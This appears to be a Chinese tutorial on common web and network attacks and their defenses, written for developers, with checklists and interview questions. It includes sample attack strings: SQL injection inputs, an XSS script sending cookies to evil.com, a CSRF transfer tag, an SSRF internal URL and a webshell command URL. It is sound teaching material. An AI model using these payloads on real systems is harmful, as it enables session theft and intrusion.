网络安全的本质是攻防对抗。本文梳理了最常见的攻击手法与对应的防御策略,帮助开发者建立基本的安全意识。

一、攻防全景图

flowchart TD
A[网络安全攻防] --> B[Web 应用攻击]
A --> C[网络层攻击]
A --> D[系统层攻击]
A --> E[社会工程]

B --> B1[SQL 注入]
B --> B2[XSS 跨站脚本]
B --> B3[CSRF 跨站请求伪造]
B --> B4[SSRF 服务端请求伪造]
B --> B5[文件上传漏洞]

C --> C1[DDoS 分布式拒绝服务]
C --> C2[中间人攻击 MITM]
C --> C3[DNS 劫持]
C --> C4[端口扫描]

D --> D1[缓冲区溢出]
D --> D2[提权攻击]
D --> D3[后门/Rootkit]

E --> E1[钓鱼攻击]
E --> E2[暴力破解]
E --> E3[撞库攻击]

二、Web 应用攻击

2.1 SQL 注入 (SQL Injection)

原理: 攻击者将恶意 SQL 语句拼接到应用输入中,欺骗数据库执行非授权操作。

攻击示例:

-- 正常查询
SELECT * FROM users WHERE id = '1';

-- 注入攻击(输入: 1' OR '1'='1)
SELECT * FROM users WHERE id = '1' OR '1'='1';
-- 返回全部用户数据,完全绕过认证!
sequenceDiagram
participant A as 攻击者
participant W as Web 应用
participant DB as 数据库

A->>W: 提交恶意输入 ' OR 1=1 --
W->>DB: 拼接 SQL: SELECT * FROM users WHERE name='' OR 1=1 --'
DB-->>W: 返回所有用户数据
W-->>A: 数据泄露!

防御手段:

措施 说明 优先级
参数化查询 / 预编译语句 使用 ? 占位符,SQL 与数据分离 ✅ 必做
ORM 框架 MyBatis、Hibernate、JPA 等天然防注入 ✅ 推荐
输入校验 白名单校验,拒绝特殊字符 ⚠️ 辅助
最小权限原则 数据库账号不给予 DROP/TRUNCATE 权限 ✅ 必做
WAF (Web 应用防火墙) 拦截已知注入特征 ⚠️ 辅助
// ❌ 危险:字符串拼接
String sql = "SELECT * FROM users WHERE name = '" + userName + "'";

// ✅ 安全:参数化查询(JDBC PreparedStatement)
String sql = "SELECT * FROM users WHERE name = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, userName);

2.2 XSS 跨站脚本攻击 (Cross-Site Scripting)

原理: 攻击者在网页中注入恶意脚本,当其他用户浏览时脚本被执行,窃取 Cookie、Token 等敏感信息。

三种类型:

flowchart LR
XSS[XSS] --> Reflected[反射型 XSS]

XSS --> Stored[存储型 XSS<br/>最危险]
XSS --> DOM[DOM-based XSS]

Reflected -->|一次性| RefEx["?q=<script>alert(1)</script>"]
Stored -->|持久化| StoEx["评论/留言框<br/>嵌入恶意脚本"]
DOM -->|前端渲染| DOMEx["URL 片段注入<br/>前端 eval 执行"]

攻击示例:

<!-- 评论框中输入恶意脚本 -->
<script>
document.location='http://evil.com/steal?cookie='+document.cookie;
</script>

防御手段:

措施 说明
输出编码 / 转义 HTML 实体编码:<&lt;>&gt;
Content-Security-Policy CSP HTTP 头限制脚本执行来源
HttpOnly Cookie JavaScript 无法读取 Cookie
输入过滤 过滤 <script>onerror= 等危险标签
# CSP 响应头示例:只允许同源脚本
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

2.3 CSRF 跨站请求伪造 (Cross-Site Request Forgery)

原理: 攻击者伪造请求,诱导已登录用户点击,在用户不知情的情况下以用户身份执行操作。

sequenceDiagram
participant U as 用户(已登录银行)
participant A as 攻击者网站
participant B as 银行网站

U->>B: 登录,获得 Cookie
U->>A: 访问恶意网站
A->>B: <img src='/transfer?to=attacker&amount=10000'>
Note over U,B: 浏览器自动携带 Cookie!
B-->>A: 转账成功(用户不知情)

防御手段:

措施 说明
CSRF Token 表单中嵌入随机 token,服务端校验
SameSite Cookie 设置 SameSite=Strict,跨站不发送 Cookie
验证码 敏感操作要求输入验证码
Referer 校验 检查请求来源是否合法
// 生成 CSRF Token
String csrfToken = UUID.randomUUID().toString();
session.setAttribute("csrf_token", csrfToken);

// 校验
String requestToken = request.getParameter("csrf_token");
if (!requestToken.equals(session.getAttribute("csrf_token"))) {
throw new SecurityException("CSRF 攻击检测!");
}
Set-Cookie: JSESSIONID=xxx; SameSite=Strict; HttpOnly; Secure

2.4 SSRF 服务端请求伪造 (Server-Side Request Forgery)

原理: 攻击者利用服务器端发起的请求功能,访问内网资源或进行端口扫描。

常见场景: 图片抓取、URL 预览、Webhook 回调等。

防御手段:

  • 限制服务器发起的请求只能访问外部白名单域名
  • 禁止访问内网 IP 段(127.0.0.1、10.x.x.x、172.16-31.x.x、192.168.x.x)
  • 禁用 file://gopher:// 等非 HTTP 协议
# 危险:直接请求用户传入的 URL
def fetch_url(url):
return requests.get(url) # 攻击者传入 http://127.0.0.1:3306

# 安全:白名单校验
ALLOWED_DOMAINS = ['api.trusted.com', 'img.cdn.com']

def fetch_url(url):
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("非法请求来源")
if parsed.scheme not in ['http', 'https']:
raise ValueError("不支持的协议")
return requests.get(url, timeout=5)

2.5 文件上传漏洞

原理: 应用允许用户上传文件但校验不严,攻击者上传 WebShell、恶意脚本等。

攻击示例:

# 上传 jsp/php webshell 到服务器
# 访问 http://target.com/uploads/shell.jsp?cmd=whoami
# 服务器执行命令,完全沦陷

防御手段:

措施 说明
后缀白名单 只允许 .jpg .png .pdf 等,拒绝 .jsp .php .exe
MIME 类型校验 检查 Content-Type
文件内容校验 读取文件头魔术数字
上传目录不可执行 移除执行权限
随机重命名 防止文件名猜测和路径遍历

三、网络层攻击

3.1 DDoS 分布式拒绝服务 (Distributed Denial of Service)

原理: 利用大量僵尸主机同时向目标发送请求,耗尽带宽、CPU 或连接数,导致正常用户无法访问。

flowchart TD
A[攻击者 C&C] --> B1[僵尸主机 1]
A --> B2[僵尸主机 2]
A --> B3[僵尸主机 ...N]
B1 --> C[目标服务器]
B2 --> C
B3 --> C
C --> D[资源耗尽<br/>服务瘫痪]

常见 DDoS 类型:

类型 攻击层 原理
SYN Flood L4 传输层 发送大量 SYN 包不完成三次握手
UDP Flood L4 传输层 大量 UDP 包淹没目标带宽
HTTP Flood L7 应用层 模拟正常 HTTP 请求攻击应用
DNS Amplification L4→反射 利用 DNS 开放解析器放大流量

防御手段:

  • CDN / 云清洗:Cloudflare、阿里云 WAF、AWS Shield
  • 速率限制:Nginx limit_reqlimit_conn
  • SYN Cookie:防止半连接队列耗尽
  • IP 黑/白名单:封禁异常 IP
  • Anycast 网络:分散流量到多个数据中心
# Nginx 速率限制示例
limit_req_zone $binary_remote_addr zone=one:10m rate=30r/s;

server {
location /api/ {
limit_req zone=one burst=20 nodelay;
proxy_pass http://backend;
}
}

3.2 中间人攻击 MITM (Man-in-the-Middle)

原理: 攻击者拦截并篡改通信双方的数据,常见于公共 Wi-Fi、ARP 欺骗等场景。

sequenceDiagram
participant U as 用户
participant M as 攻击者(中间人)
participant S as 服务器

U->>M: 我是用户,我要访问服务器
M->>S: 我是用户(假冒)
S->>M: 响应数据
M->>U: 篡改后的数据
Note over M: 攻击者可读取/修改<br/>全部通信内容!

防御手段:

  • HTTPS:全站启用 TLS,证书验证
  • HSTS:强制浏览器使用 HTTPS
  • 证书固定:Pin 证书公钥,防止伪造证书
  • 避免公共 Wi-Fi:使用 VPN 加密隧道
# Nginx HSTS 配置
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

3.3 DNS 劫持

原理: 篡改 DNS 解析结果,将用户引导到钓鱼网站。

防御手段:

  • DNSSEC:DNS 签名验证
  • DoH / DoT:DNS over HTTPS/TLS,加密 DNS 查询
  • 使用可信 DNS1.1.1.1 (Cloudflare)、8.8.8.8 (Google)

四、安全加固最佳实践清单

4.1 开发阶段

[✅] 所有 SQL 使用参数化查询
[✅] 输出内容进行 HTML 编码
[✅] 敏感操作加 CSRF Token
[✅] 密码使用 bcrypt / argon2 哈希存储
[✅] 用户上传文件做白名单校验
[✅] 禁用 DEBUG 模式(不要泄漏堆栈信息)
[✅] 使用 HTTPS,设置 HSTS
[✅] 设置 HttpOnly + Secure + SameSite Cookie
[✅] 添加 CSP 响应头
[✅] API 接口做限流防刷

4.2 运维阶段

[✅] 服务器端口最小化开放(只开 80/443/SSH)
[✅] SSH 禁用密码登录,使用密钥
[✅] 定期更新系统 + 软件包(CVE 修复)
[✅] 数据库不对外开放,只监听内网
[✅] 日志集中管理 + 异常告警
[✅] 定期备份数据
[✅] 网络隔离:生产/测试/开发环境分离
[✅] 配置 WAF + 入侵检测系统 IDS/IPS
[✅] 最小权限原则:每个服务只给必要权限
[✅] 运行 Docker 容器时不使用 root

4.3 安全工具栈

工具 用途
OWASP ZAP / Burp Suite Web 漏洞扫描与渗透测试
Nmap 端口扫描与网络发现
Wireshark 流量抓包分析
Metasploit 渗透测试框架
ClamAV 防病毒扫描
Fail2ban 暴力破解防护
OpenVAS 漏洞扫描器
Trivy / Snyk 容器镜像安全扫描

五、攻防演练流程

flowchart LR
A[信息收集] --> B[漏洞扫描]
B --> C[漏洞利用]
C --> D[权限提升]
D --> E[横向移动]
E --> F[数据窃取/后门植入]

G[Honeypot 蜜罐] -.-> A
H[WAF/IDS] -.-> B
I[最小权限 RABC] -.-> D
J[网络微隔离] -.-> E
K[DLP 数据防泄漏] -.-> F

蓝方(防守方)的每层防御,都对应红方(攻击方)的每一步。


六、常见面试题

Q1:SQL 注入怎么防御?
A:核心是参数化查询,辅助是输入校验 + 最小权限 + WAF。

Q2:XSS 和 CSRF 的区别?
A:XSS 是信任用户输入导致的脚本注入,CSRF 是信任用户浏览器导致的请求伪造。XSS 可以窃取 CSRF Token,所以先防 XSS 再防 CSRF。

Q3:HTTPS 能防哪些攻击?
A:防中间人窃听/篡改、防 DNS 劫持(结合 HSTS)。防不了 DDoS、业务逻辑漏洞、XSS。

Q4:什么是纵深防御?
A:多层防御体系——即使某一层被攻破,后续层仍然能拦截。如 WAF → API 校验 → 数据库权限 → 加密存储。

Q5:如果服务器已经被入侵怎么办?
A:①立即断网隔离 → ②保留现场证据 → ③排查入侵路径 → ④重装系统恢复 → ⑤修补漏洞 → ⑥复盘改进。


七、推荐资源

  • OWASP Top 10https://owasp.org/www-project-top-ten/
  • PortSwigger Web Security Academy:在线攻防实验室
  • HackTheBox / TryHackMe:实战渗透平台
  • 《白帽子讲 Web 安全》(吴翰清)— 国内经典入门书
  • 《Web 安全攻防:渗透测试实战指南》
  • Kali Linux:渗透测试专用系统
  • CVE 漏洞库https://cve.mitre.org/

记住: 安全不是一次性配置,而是一个持续的过程。保持学习,关注新的 CVE 漏洞,定期做安全审计,才能让你的系统更健壮 💪